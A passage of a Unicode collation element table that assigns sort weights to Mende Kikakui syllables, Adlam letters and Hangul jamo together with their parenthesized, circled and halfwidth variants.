[.3B2C.0020.0002] # MENDE KIKAKUI SYLLABLE M150 BEE -1E81F ; [.3B2D.0020.0002] # MENDE KIKAKUI SYLLABLE M097 BE -1E820 ; [.3B2E.0020.0002] # MENDE KIKAKUI SYLLABLE M103 BOO -1E821 ; [.3B2F.0020.0002] # MENDE KIKAKUI SYLLABLE M138 BO -1E822 ; [.3B30.0020.0002] # MENDE KIKAKUI SYLLABLE M013 I -1E823 ; [.3B31.0020.0002] # MENDE KIKAKUI SYLLABLE M014 A -1E824 ; [.3B32.0020.0002] # MENDE KIKAKUI SYLLABLE M015 U -1E825 ; [.3B33.0020.0002] # MENDE KIKAKUI SYLLABLE M163 EE -1E826 ; [.3B34.0020.0002] # MENDE KIKAKUI SYLLABLE M100 E -1E827 ; [.3B35.0020.0002] # MENDE KIKAKUI SYLLABLE M165 OO -1E828 ; [.3B36.0020.0002] # MENDE KIKAKUI SYLLABLE M147 O -1E829 ; [.3B37.0020.0002] # MENDE KIKAKUI SYLLABLE M137 EI -1E82A ; [.3B38.0020.0002] # MENDE KIKAKUI SYLLABLE M131 IN -1E82B ; [.3B39.0020.0002] # MENDE KIKAKUI SYLLABLE M135 IN -1E82C ; [.3B3A.0020.0002] # MENDE KIKAKUI SYLLABLE M195 AN -1E82D ; [.3B3B.0020.0002] # MENDE KIKAKUI SYLLABLE M178 EN -1E82E ; [.3B3C.0020.0002] # MENDE KIKAKUI SYLLABLE M019 SI -1E82F ; [.3B3D.0020.0002] # MENDE KIKAKUI SYLLABLE M020 SA -1E830 ; [.3B3E.0020.0002] # MENDE KIKAKUI SYLLABLE M021 SU -1E831 ; [.3B3F.0020.0002] # MENDE KIKAKUI SYLLABLE M162 SEE -1E832 ; [.3B40.0020.0002] # MENDE KIKAKUI SYLLABLE M116 SE -1E833 ; [.3B41.0020.0002] # MENDE KIKAKUI SYLLABLE M136 SOO -1E834 ; [.3B42.0020.0002] # MENDE KIKAKUI SYLLABLE M079 SO -1E835 ; [.3B43.0020.0002] # MENDE KIKAKUI SYLLABLE M196 SIA -1E836 ; [.3B44.0020.0002] # MENDE KIKAKUI SYLLABLE M025 LI -1E837 ; [.3B45.0020.0002] # MENDE KIKAKUI SYLLABLE M026 LA -1E838 ; [.3B46.0020.0002] # MENDE KIKAKUI SYLLABLE M027 LU -1E839 ; [.3B47.0020.0002] # MENDE KIKAKUI SYLLABLE M084 LEE -1E83A ; [.3B48.0020.0002] # MENDE KIKAKUI SYLLABLE M073 LE -1E83B ; [.3B49.0020.0002] # MENDE KIKAKUI SYLLABLE M054 LOO -1E83C ; [.3B4A.0020.0002] # MENDE KIKAKUI SYLLABLE M153 LO -1E83D ; [.3B4B.0020.0002] # MENDE KIKAKUI SYLLABLE M110 LONG LE -1E83E ; [.3B4C.0020.0002] # MENDE KIKAKUI SYLLABLE M016 DI -1E83F ; [.3B4D.0020.0002] # MENDE KIKAKUI SYLLABLE M017 DA -1E840 ; [.3B4E.0020.0002] # MENDE KIKAKUI SYLLABLE M018 DU -1E841 ; [.3B4F.0020.0002] # MENDE KIKAKUI SYLLABLE M089 DEE -1E842 ; [.3B50.0020.0002] # MENDE KIKAKUI SYLLABLE M180 DOO -1E843 ; [.3B51.0020.0002] # MENDE KIKAKUI SYLLABLE M181 DO -1E844 ; [.3B52.0020.0002] # MENDE KIKAKUI SYLLABLE M022 TI -1E845 ; [.3B53.0020.0002] # MENDE KIKAKUI SYLLABLE M023 TA -1E846 ; [.3B54.0020.0002] # MENDE KIKAKUI SYLLABLE M024 TU -1E847 ; [.3B55.0020.0002] # MENDE KIKAKUI SYLLABLE M091 TEE -1E848 ; [.3B56.0020.0002] # MENDE KIKAKUI SYLLABLE M055 TE -1E849 ; [.3B57.0020.0002] # MENDE KIKAKUI SYLLABLE M104 TOO -1E84A ; [.3B58.0020.0002] # MENDE KIKAKUI SYLLABLE M069 TO -1E84B ; [.3B59.0020.0002] # MENDE KIKAKUI SYLLABLE M028 JI -1E84C ; [.3B5A.0020.0002] # MENDE KIKAKUI SYLLABLE M029 JA -1E84D ; [.3B5B.0020.0002] # MENDE KIKAKUI SYLLABLE M030 JU -1E84E ; [.3B5C.0020.0002] # MENDE KIKAKUI SYLLABLE M157 JEE -1E84F ; [.3B5D.0020.0002] # MENDE KIKAKUI SYLLABLE M113 JE -1E850 ; [.3B5E.0020.0002] # MENDE KIKAKUI SYLLABLE M160 JOO -1E851 ; [.3B5F.0020.0002] # MENDE KIKAKUI SYLLABLE M063 JO -1E852 ; [.3B60.0020.0002] # MENDE KIKAKUI SYLLABLE M175 LONG JO -1E853 ; [.3B61.0020.0002] # MENDE KIKAKUI SYLLABLE M031 YI -1E854 ; [.3B62.0020.0002] # MENDE KIKAKUI SYLLABLE M032 YA -1E855 ; [.3B63.0020.0002] # MENDE KIKAKUI SYLLABLE M033 YU -1E856 ; [.3B64.0020.0002] # MENDE KIKAKUI SYLLABLE M109 YEE -1E857 ; [.3B65.0020.0002] # MENDE KIKAKUI SYLLABLE M080 YE -1E858 ; [.3B66.0020.0002] # MENDE KIKAKUI SYLLABLE M141 YOO -1E859 ; [.3B67.0020.0002] # MENDE KIKAKUI SYLLABLE M121 YO -1E85A ; [.3B68.0020.0002] # MENDE KIKAKUI SYLLABLE M034 FI -1E85B ; [.3B69.0020.0002] # MENDE KIKAKUI SYLLABLE M035 FA -1E85C ; [.3B6A.0020.0002] # MENDE KIKAKUI SYLLABLE M036 FU -1E85D ; [.3B6B.0020.0002] # MENDE KIKAKUI SYLLABLE M078 FEE -1E85E ; [.3B6C.0020.0002] # MENDE KIKAKUI SYLLABLE M075 FE -1E85F ; [.3B6D.0020.0002] # MENDE KIKAKUI SYLLABLE M133 FOO -1E860 ; [.3B6E.0020.0002] # MENDE KIKAKUI SYLLABLE M088 FO -1E861 ; [.3B6F.0020.0002] # MENDE KIKAKUI SYLLABLE M197 FUA -1E862 ; [.3B70.0020.0002] # MENDE KIKAKUI SYLLABLE M101 FAN -1E863 ; [.3B71.0020.0002] # MENDE KIKAKUI SYLLABLE M037 NIN -1E864 ; [.3B72.0020.0002] # MENDE KIKAKUI SYLLABLE M038 NAN -1E865 ; [.3B73.0020.0002] # MENDE KIKAKUI SYLLABLE M039 NUN -1E866 ; [.3B74.0020.0002] # MENDE KIKAKUI SYLLABLE M117 NEN -1E867 ; [.3B75.0020.0002] # MENDE KIKAKUI SYLLABLE M169 NON -1E868 ; [.3B76.0020.0002] # MENDE KIKAKUI SYLLABLE M176 HI -1E869 ; [.3B77.0020.0002] # MENDE KIKAKUI SYLLABLE M041 HA -1E86A ; [.3B78.0020.0002] # MENDE KIKAKUI SYLLABLE M186 HU -1E86B ; [.3B79.0020.0002] # MENDE KIKAKUI SYLLABLE M040 HEE -1E86C ; [.3B7A.0020.0002] # MENDE KIKAKUI SYLLABLE M096 HE -1E86D ; [.3B7B.0020.0002] # MENDE KIKAKUI SYLLABLE M042 HOO -1E86E ; [.3B7C.0020.0002] # MENDE KIKAKUI SYLLABLE M140 HO -1E86F ; [.3B7D.0020.0002] # MENDE KIKAKUI SYLLABLE M083 HEEI -1E870 ; [.3B7E.0020.0002] # MENDE KIKAKUI SYLLABLE M128 HOOU -1E871 ; [.3B7F.0020.0002] # MENDE KIKAKUI SYLLABLE M053 HIN -1E872 ; [.3B80.0020.0002] # MENDE KIKAKUI SYLLABLE M130 HAN -1E873 ; [.3B81.0020.0002] # MENDE KIKAKUI SYLLABLE M087 HUN -1E874 ; [.3B82.0020.0002] # MENDE KIKAKUI SYLLABLE M052 HEN -1E875 ; [.3B83.0020.0002] # MENDE KIKAKUI SYLLABLE M193 HON -1E876 ; [.3B84.0020.0002] # MENDE KIKAKUI SYLLABLE M046 HUAN -1E877 ; [.3B85.0020.0002] # MENDE KIKAKUI SYLLABLE M090 NGGI -1E878 ; [.3B86.0020.0002] # MENDE KIKAKUI SYLLABLE M043 NGGA -1E879 ; [.3B87.0020.0002] # MENDE KIKAKUI SYLLABLE M082 NGGU -1E87A ; [.3B88.0020.0002] # MENDE KIKAKUI SYLLABLE M115 NGGEE -1E87B ; [.3B89.0020.0002] # MENDE KIKAKUI SYLLABLE M146 NGGE -1E87C ; [.3B8A.0020.0002] # MENDE KIKAKUI SYLLABLE M156 NGGOO -1E87D ; [.3B8B.0020.0002] # MENDE KIKAKUI SYLLABLE M120 NGGO -1E87E ; [.3B8C.0020.0002] # MENDE KIKAKUI SYLLABLE M159 NGGAA -1E87F ; [.3B8D.0020.0002] # MENDE KIKAKUI SYLLABLE M127 NGGUA -1E880 ; [.3B8E.0020.0002] # MENDE KIKAKUI SYLLABLE M086 LONG NGGE -1E881 ; [.3B8F.0020.0002] # MENDE KIKAKUI SYLLABLE M106 LONG NGGOO -1E882 ; [.3B90.0020.0002] # MENDE KIKAKUI SYLLABLE M183 LONG NGGO -1E883 ; [.3B91.0020.0002] # MENDE KIKAKUI SYLLABLE M155 GI -1E884 ; [.3B92.0020.0002] # MENDE KIKAKUI SYLLABLE M111 GA -1E885 ; [.3B93.0020.0002] # MENDE KIKAKUI SYLLABLE M168 GU -1E886 ; [.3B94.0020.0002] # MENDE KIKAKUI SYLLABLE M190 GEE -1E887 ; [.3B95.0020.0002] # MENDE KIKAKUI SYLLABLE M166 GUEI -1E888 ; [.3B96.0020.0002] # MENDE KIKAKUI SYLLABLE M167 GUAN -1E889 ; [.3B97.0020.0002] # MENDE KIKAKUI SYLLABLE M184 NGEN -1E88A ; [.3B98.0020.0002] # MENDE KIKAKUI SYLLABLE M057 NGON -1E88B ; [.3B99.0020.0002] # MENDE KIKAKUI SYLLABLE M177 NGUAN -1E88C ; [.3B9A.0020.0002] # MENDE KIKAKUI SYLLABLE M068 PI -1E88D ; [.3B9B.0020.0002] # MENDE KIKAKUI SYLLABLE M099 PA -1E88E ; [.3B9C.0020.0002] # MENDE KIKAKUI SYLLABLE M050 PU -1E88F ; [.3B9D.0020.0002] # MENDE KIKAKUI SYLLABLE M081 PEE -1E890 ; [.3B9E.0020.0002] # MENDE KIKAKUI SYLLABLE M051 PE -1E891 ; [.3B9F.0020.0002] # MENDE KIKAKUI SYLLABLE M102 POO -1E892 ; [.3BA0.0020.0002] # MENDE KIKAKUI SYLLABLE M066 PO -1E893 ; [.3BA1.0020.0002] # MENDE KIKAKUI SYLLABLE M145 MBI -1E894 ; [.3BA2.0020.0002] # MENDE KIKAKUI SYLLABLE M062 MBA -1E895 ; [.3BA3.0020.0002] # MENDE KIKAKUI SYLLABLE M122 MBU -1E896 ; [.3BA4.0020.0002] # MENDE KIKAKUI SYLLABLE M047 MBEE -1E897 ; [.3BA5.0020.0002] # MENDE KIKAKUI SYLLABLE M188 MBEE -1E898 ; [.3BA6.0020.0002] # MENDE KIKAKUI SYLLABLE M072 MBE -1E899 ; [.3BA7.0020.0002] # MENDE KIKAKUI SYLLABLE M172 MBOO -1E89A ; [.3BA8.0020.0002] # MENDE KIKAKUI SYLLABLE M174 MBO -1E89B ; [.3BA9.0020.0002] # MENDE KIKAKUI SYLLABLE M187 MBUU -1E89C ; [.3BAA.0020.0002] # MENDE KIKAKUI SYLLABLE M161 LONG MBE -1E89D ; [.3BAB.0020.0002] # MENDE KIKAKUI SYLLABLE M105 LONG MBOO -1E89E ; [.3BAC.0020.0002] # MENDE KIKAKUI SYLLABLE M142 LONG MBO -1E89F ; [.3BAD.0020.0002] # MENDE KIKAKUI SYLLABLE M132 KPI -1E8A0 ; [.3BAE.0020.0002] # MENDE KIKAKUI SYLLABLE M092 KPA -1E8A1 ; [.3BAF.0020.0002] # MENDE KIKAKUI SYLLABLE M074 KPU -1E8A2 ; [.3BB0.0020.0002] # MENDE KIKAKUI SYLLABLE M044 KPEE -1E8A3 ; [.3BB1.0020.0002] # MENDE KIKAKUI SYLLABLE M108 KPE -1E8A4 ; [.3BB2.0020.0002] # MENDE KIKAKUI SYLLABLE M112 KPOO -1E8A5 ; [.3BB3.0020.0002] # MENDE KIKAKUI SYLLABLE M158 KPO -1E8A6 ; [.3BB4.0020.0002] # MENDE KIKAKUI SYLLABLE M124 GBI -1E8A7 ; [.3BB5.0020.0002] # MENDE KIKAKUI SYLLABLE M056 GBA -1E8A8 ; [.3BB6.0020.0002] # MENDE KIKAKUI SYLLABLE M148 GBU -1E8A9 ; [.3BB7.0020.0002] # MENDE KIKAKUI SYLLABLE M093 GBEE -1E8AA ; [.3BB8.0020.0002] # MENDE KIKAKUI SYLLABLE M107 GBE -1E8AB ; [.3BB9.0020.0002] # MENDE KIKAKUI SYLLABLE M071 GBOO -1E8AC ; [.3BBA.0020.0002] # MENDE KIKAKUI SYLLABLE M070 GBO -1E8AD ; [.3BBB.0020.0002] # MENDE KIKAKUI SYLLABLE M171 RA -1E8AE ; [.3BBC.0020.0002] # MENDE KIKAKUI SYLLABLE M123 NDI -1E8AF ; [.3BBD.0020.0002] # MENDE KIKAKUI SYLLABLE M129 NDA -1E8B0 ; [.3BBE.0020.0002] # MENDE KIKAKUI SYLLABLE M125 NDU -1E8B1 ; [.3BBF.0020.0002] # MENDE KIKAKUI SYLLABLE M191 NDEE -1E8B2 ; [.3BC0.0020.0002] # MENDE KIKAKUI SYLLABLE M119 NDE -1E8B3 ; [.3BC1.0020.0002] # MENDE KIKAKUI SYLLABLE M067 NDOO -1E8B4 ; [.3BC2.0020.0002] # MENDE KIKAKUI SYLLABLE M064 NDO -1E8B5 ; [.3BC3.0020.0002] # MENDE KIKAKUI SYLLABLE M152 NJA -1E8B6 ; [.3BC4.0020.0002] # MENDE KIKAKUI SYLLABLE M192 NJU -1E8B7 ; [.3BC5.0020.0002] # MENDE KIKAKUI SYLLABLE M149 NJEE -1E8B8 ; [.3BC6.0020.0002] # MENDE KIKAKUI SYLLABLE M134 NJOO -1E8B9 ; [.3BC7.0020.0002] # MENDE KIKAKUI SYLLABLE M182 VI -1E8BA ; [.3BC8.0020.0002] # MENDE KIKAKUI SYLLABLE M185 VA -1E8BB ; [.3BC9.0020.0002] # MENDE KIKAKUI SYLLABLE M151 VU -1E8BC ; [.3BCA.0020.0002] # MENDE KIKAKUI SYLLABLE M173 VEE -1E8BD ; [.3BCB.0020.0002] # MENDE KIKAKUI SYLLABLE M085 VE -1E8BE ; [.3BCC.0020.0002] # MENDE KIKAKUI SYLLABLE M144 VOO -1E8BF ; [.3BCD.0020.0002] # MENDE KIKAKUI SYLLABLE M077 VO -1E8C0 ; [.3BCE.0020.0002] # MENDE KIKAKUI SYLLABLE M164 NYIN -1E8C1 ; [.3BCF.0020.0002] # MENDE KIKAKUI SYLLABLE M058 NYAN -1E8C2 ; [.3BD0.0020.0002] # MENDE KIKAKUI SYLLABLE M170 NYUN -1E8C3 ; [.3BD1.0020.0002] # MENDE KIKAKUI SYLLABLE M098 NYEN -1E8C4 ; [.3BD2.0020.0002] # MENDE KIKAKUI SYLLABLE M060 NYON -1E922 ; [.3BD3.0020.0002] # ADLAM SMALL LETTER ALIF -1E900 ; [.3BD3.0020.0008] # ADLAM CAPITAL LETTER ALIF -1E923 ; [.3BD4.0020.0002] # ADLAM SMALL LETTER DAALI -1E901 ; [.3BD4.0020.0008] # ADLAM CAPITAL LETTER DAALI -1E924 ; [.3BD5.0020.0002] # ADLAM SMALL LETTER LAAM -1E902 ; [.3BD5.0020.0008] # ADLAM CAPITAL LETTER LAAM -1E925 ; [.3BD6.0020.0002] # ADLAM SMALL LETTER MIIM -1E903 ; [.3BD6.0020.0008] # ADLAM CAPITAL LETTER MIIM -1E926 ; [.3BD7.0020.0002] # ADLAM SMALL LETTER BA -1E904 ; [.3BD7.0020.0008] # ADLAM CAPITAL LETTER BA -1E927 ; [.3BD8.0020.0002] # ADLAM SMALL LETTER SINNYIIYHE -1E905 ; [.3BD8.0020.0008] # ADLAM CAPITAL LETTER SINNYIIYHE -1E928 ; [.3BD9.0020.0002] # ADLAM SMALL LETTER PE -1E906 ; [.3BD9.0020.0008] # ADLAM CAPITAL LETTER PE -1E929 ; [.3BDA.0020.0002] # ADLAM SMALL LETTER BHE -1E907 ; [.3BDA.0020.0008] # ADLAM CAPITAL LETTER BHE -1E92A ; [.3BDB.0020.0002] # ADLAM SMALL LETTER RA -1E908 ; [.3BDB.0020.0008] # ADLAM CAPITAL LETTER RA -1E92B ; [.3BDC.0020.0002] # ADLAM SMALL LETTER E -1E909 ; [.3BDC.0020.0008] # ADLAM CAPITAL LETTER E -1E92C ; [.3BDD.0020.0002] # ADLAM SMALL LETTER FA -1E90A ; [.3BDD.0020.0008] # ADLAM CAPITAL LETTER FA -1E92D ; [.3BDE.0020.0002] # ADLAM SMALL LETTER I -1E90B ; [.3BDE.0020.0008] # ADLAM CAPITAL LETTER I -1E92E ; [.3BDF.0020.0002] # ADLAM SMALL LETTER O -1E90C ; [.3BDF.0020.0008] # ADLAM CAPITAL LETTER O -1E92F ; [.3BE0.0020.0002] # ADLAM SMALL LETTER DHA -1E90D ; [.3BE0.0020.0008] # ADLAM CAPITAL LETTER DHA -1E930 ; [.3BE1.0020.0002] # ADLAM SMALL LETTER YHE -1E90E ; [.3BE1.0020.0008] # ADLAM CAPITAL LETTER YHE -1E931 ; [.3BE2.0020.0002] # ADLAM SMALL LETTER WAW -1E90F ; [.3BE2.0020.0008] # ADLAM CAPITAL LETTER WAW -1E932 ; [.3BE3.0020.0002] # ADLAM SMALL LETTER NUN -1E910 ; [.3BE3.0020.0008] # ADLAM CAPITAL LETTER NUN -1E933 ; [.3BE4.0020.0002] # ADLAM SMALL LETTER KAF -1E911 ; [.3BE4.0020.0008] # ADLAM CAPITAL LETTER KAF -1E934 ; [.3BE5.0020.0002] # ADLAM SMALL LETTER YA -1E912 ; [.3BE5.0020.0008] # ADLAM CAPITAL LETTER YA -1E935 ; [.3BE6.0020.0002] # ADLAM SMALL LETTER U -1E913 ; [.3BE6.0020.0008] # ADLAM CAPITAL LETTER U -1E936 ; [.3BE7.0020.0002] # ADLAM SMALL LETTER JIIM -1E914 ; [.3BE7.0020.0008] # ADLAM CAPITAL LETTER JIIM -1E937 ; [.3BE8.0020.0002] # ADLAM SMALL LETTER CHI -1E915 ; [.3BE8.0020.0008] # ADLAM CAPITAL LETTER CHI -1E938 ; [.3BE9.0020.0002] # ADLAM SMALL LETTER HA -1E916 ; [.3BE9.0020.0008] # ADLAM CAPITAL LETTER HA -1E939 ; [.3BEA.0020.0002] # ADLAM SMALL LETTER QAAF -1E917 ; [.3BEA.0020.0008] # ADLAM CAPITAL LETTER QAAF -1E93A ; [.3BEB.0020.0002] # ADLAM SMALL LETTER GA -1E918 ; [.3BEB.0020.0008] # ADLAM CAPITAL LETTER GA -1E93B ; [.3BEC.0020.0002] # ADLAM SMALL LETTER NYA -1E919 ; [.3BEC.0020.0008] # ADLAM CAPITAL LETTER NYA -1E93C ; [.3BED.0020.0002] # ADLAM SMALL LETTER TU -1E91A ; [.3BED.0020.0008] # ADLAM CAPITAL LETTER TU -1E93D ; [.3BEE.0020.0002] # ADLAM SMALL LETTER NHA -1E91B ; [.3BEE.0020.0008] # ADLAM CAPITAL LETTER NHA -1E93E ; [.3BEF.0020.0002] # ADLAM SMALL LETTER VA -1E91C ; [.3BEF.0020.0008] # ADLAM CAPITAL LETTER VA -1E93F ; [.3BF0.0020.0002] # ADLAM SMALL LETTER KHA -1E91D ; [.3BF0.0020.0008] # ADLAM CAPITAL LETTER KHA -1E940 ; [.3BF1.0020.0002] # ADLAM SMALL LETTER GBE -1E91E ; [.3BF1.0020.0008] # ADLAM CAPITAL LETTER GBE -1E941 ; [.3BF2.0020.0002] # ADLAM SMALL LETTER ZAL -1E91F ; [.3BF2.0020.0008] # ADLAM CAPITAL LETTER ZAL -1E942 ; [.3BF3.0020.0002] # ADLAM SMALL LETTER KPO -1E920 ; [.3BF3.0020.0008] # ADLAM CAPITAL LETTER KPO -1E943 ; [.3BF4.0020.0002] # ADLAM SMALL LETTER SHA -1E921 ; [.3BF4.0020.0008] # ADLAM CAPITAL LETTER SHA -1100 ; [.3BF5.0020.0002] # HANGUL CHOSEONG KIYEOK -3131 ; [.3BF5.0020.0004] # HANGUL LETTER KIYEOK -3200 ; [*0317.0020.0004][.3BF5.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL KIYEOK -3260 ; [.3BF5.0020.0006] # CIRCLED HANGUL KIYEOK -FFA1 ; [.3BF5.0020.0012] # HALFWIDTH HANGUL LETTER KIYEOK -320E ; [*0317.0020.0004][.3BF5.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL KIYEOK A -326E ; [.3BF5.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL KIYEOK A -1101 ; [.3BF6.0020.0002] # HANGUL CHOSEONG SSANGKIYEOK -3132 ; [.3BF6.0020.0004] # HANGUL LETTER SSANGKIYEOK -FFA2 ; [.3BF6.0020.0012] # HALFWIDTH HANGUL LETTER SSANGKIYEOK -1102 ; [.3BF7.0020.0002] # HANGUL CHOSEONG NIEUN -3134 ; [.3BF7.0020.0004] # HANGUL LETTER NIEUN -3201 ; [*0317.0020.0004][.3BF7.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL NIEUN -3261 ; [.3BF7.0020.0006] # CIRCLED HANGUL NIEUN -FFA4 ; [.3BF7.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN -320F ; [*0317.0020.0004][.3BF7.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL NIEUN A -326F ; [.3BF7.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL NIEUN A -1103 ; [.3BF8.0020.0002] # HANGUL CHOSEONG TIKEUT -3137 ; [.3BF8.0020.0004] # HANGUL LETTER TIKEUT -3202 ; [*0317.0020.0004][.3BF8.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL TIKEUT -3262 ; [.3BF8.0020.0006] # CIRCLED HANGUL TIKEUT -FFA7 ; [.3BF8.0020.0012] # HALFWIDTH HANGUL LETTER TIKEUT -3210 ; [*0317.0020.0004][.3BF8.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL TIKEUT A -3270 ; [.3BF8.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL TIKEUT A -1104 ; [.3BF9.0020.0002] # HANGUL CHOSEONG SSANGTIKEUT -3138 ; [.3BF9.0020.0004] # HANGUL LETTER SSANGTIKEUT -FFA8 ; [.3BF9.0020.0012] # HALFWIDTH HANGUL LETTER SSANGTIKEUT -1105 ; [.3BFA.0020.0002] # HANGUL CHOSEONG RIEUL -3139 ; [.3BFA.0020.0004] # HANGUL LETTER RIEUL -3203 ; [*0317.0020.0004][.3BFA.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL RIEUL -3263 ; [.3BFA.0020.0006] # CIRCLED HANGUL RIEUL -FFA9 ; [.3BFA.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL -3211 ; [*0317.0020.0004][.3BFA.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL RIEUL A -3271 ; [.3BFA.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL RIEUL A -1106 ; [.3BFB.0020.0002] # HANGUL CHOSEONG MIEUM -3141 ; [.3BFB.0020.0004] # HANGUL LETTER MIEUM -3204 ; [*0317.0020.0004][.3BFB.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL MIEUM -3264 ; [.3BFB.0020.0006] # CIRCLED HANGUL MIEUM -FFB1 ; [.3BFB.0020.0012] # HALFWIDTH HANGUL LETTER MIEUM -3212 ; [*0317.0020.0004][.3BFB.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL MIEUM A -3272 ; [.3BFB.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL MIEUM A -1107 ; [.3BFC.0020.0002] # HANGUL CHOSEONG PIEUP -3142 ; [.3BFC.0020.0004] # HANGUL LETTER PIEUP -3205 ; [*0317.0020.0004][.3BFC.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL PIEUP -3265 ; [.3BFC.0020.0006] # CIRCLED HANGUL PIEUP -FFB2 ; [.3BFC.0020.0012] # HALFWIDTH HANGUL LETTER PIEUP -3213 ; [*0317.0020.0004][.3BFC.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL PIEUP A -3273 ; [.3BFC.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL PIEUP A -1108 ; [.3BFD.0020.0002] # HANGUL CHOSEONG SSANGPIEUP -3143 ; [.3BFD.0020.0004] # HANGUL LETTER SSANGPIEUP -FFB3 ; [.3BFD.0020.0012] # HALFWIDTH HANGUL LETTER SSANGPIEUP -1109 ; [.3BFE.0020.0002] # HANGUL CHOSEONG SIOS -3145 ; [.3BFE.0020.0004] # HANGUL LETTER SIOS -3206 ; [*0317.0020.0004][.3BFE.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL SIOS -3266 ; [.3BFE.0020.0006] # CIRCLED HANGUL SIOS -FFB5 ; [.3BFE.0020.0012] # HALFWIDTH HANGUL LETTER SIOS -3214 ; [*0317.0020.0004][.3BFE.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL SIOS A -3274 ; [.3BFE.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL SIOS A -110A ; [.3BFF.0020.0002] # HANGUL CHOSEONG SSANGSIOS -3146 ; [.3BFF.0020.0004] # HANGUL LETTER SSANGSIOS -FFB6 ; [.3BFF.0020.0012] # HALFWIDTH HANGUL LETTER SSANGSIOS -110B ; [.3C00.0020.0002] # HANGUL CHOSEONG IEUNG -3147 ; [.3C00.0020.0004] # HANGUL LETTER IEUNG -3207 ; [*0317.0020.0004][.3C00.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL IEUNG -3267 ; [.3C00.0020.0006] # CIRCLED HANGUL IEUNG -FFB7 ; [.3C00.0020.0012] # HALFWIDTH HANGUL LETTER IEUNG -3215 ; [*0317.0020.0004][.3C00.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL IEUNG A -3275 ; [.3C00.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL IEUNG A -321D ; [*0317.0020.0004][.3C00.0020.0004][.3C7B.0020.0004][.3C01.0020.0004][.3C77.0020.0004][.3CD4.0020.0004][*0318.0020.0004] # PARENTHESIZED KOREAN CHARACTER OJEON -321E ; [*0317.0020.0004][.3C00.0020.0004][.3C7B.0020.0004][.3C07.0020.0004][.3C80.0020.0004][*0318.0020.0004] # PARENTHESIZED KOREAN CHARACTER O HU -327E ; [.3C00.0020.0006][.3C80.0020.0006] # CIRCLED HANGUL IEUNG U -110C ; [.3C01.0020.0002] # HANGUL CHOSEONG CIEUC -3148 ; [.3C01.0020.0004] # HANGUL LETTER CIEUC -3208 ; [*0317.0020.0004][.3C01.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL CIEUC -3268 ; [.3C01.0020.0006] # CIRCLED HANGUL CIEUC -FFB8 ; [.3C01.0020.0012] # HALFWIDTH HANGUL LETTER CIEUC -3216 ; [*0317.0020.0004][.3C01.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL CIEUC A -3276 ; [.3C01.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL CIEUC A -321C ; [*0317.0020.0004][.3C01.0020.0004][.3C80.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL CIEUC U -327D ; [.3C01.0020.0006][.3C80.0020.0006][.3C00.0020.0006][.3C86.0020.0006] # CIRCLED KOREAN CHARACTER JUEUI -110D ; [.3C02.0020.0002] # HANGUL CHOSEONG SSANGCIEUC -3149 ; [.3C02.0020.0004] # HANGUL LETTER SSANGCIEUC -FFB9 ; [.3C02.0020.0012] # HALFWIDTH HANGUL LETTER SSANGCIEUC -110E ; [.3C03.0020.0002] # HANGUL CHOSEONG CHIEUCH -314A ; [.3C03.0020.0004] # HANGUL LETTER CHIEUCH -3209 ; [*0317.0020.0004][.3C03.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL CHIEUCH -3269 ; [.3C03.0020.0006] # CIRCLED HANGUL CHIEUCH -FFBA ; [.3C03.0020.0012] # HALFWIDTH HANGUL LETTER CHIEUCH -3217 ; [*0317.0020.0004][.3C03.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL CHIEUCH A -3277 ; [.3C03.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL CHIEUCH A -327C ; [.3C03.0020.0006][.3C73.0020.0006][.3CE0.0020.0006][.3BF5.0020.0006][.3C7B.0020.0006] # CIRCLED KOREAN CHARACTER CHAMKO -110F ; [.3C04.0020.0002] # HANGUL CHOSEONG KHIEUKH -314B ; [.3C04.0020.0004] # HANGUL LETTER KHIEUKH -320A ; [*0317.0020.0004][.3C04.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL KHIEUKH -326A ; [.3C04.0020.0006] # CIRCLED HANGUL KHIEUKH -FFBB ; [.3C04.0020.0012] # HALFWIDTH HANGUL LETTER KHIEUKH -3218 ; [*0317.0020.0004][.3C04.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL KHIEUKH A -3278 ; [.3C04.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL KHIEUKH A -1110 ; [.3C05.0020.0002] # HANGUL CHOSEONG THIEUTH -314C ; [.3C05.0020.0004] # HANGUL LETTER THIEUTH -320B ; [*0317.0020.0004][.3C05.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL THIEUTH -326B ; [.3C05.0020.0006] # CIRCLED HANGUL THIEUTH -FFBC ; [.3C05.0020.0012] # HALFWIDTH HANGUL LETTER THIEUTH -3219 ; 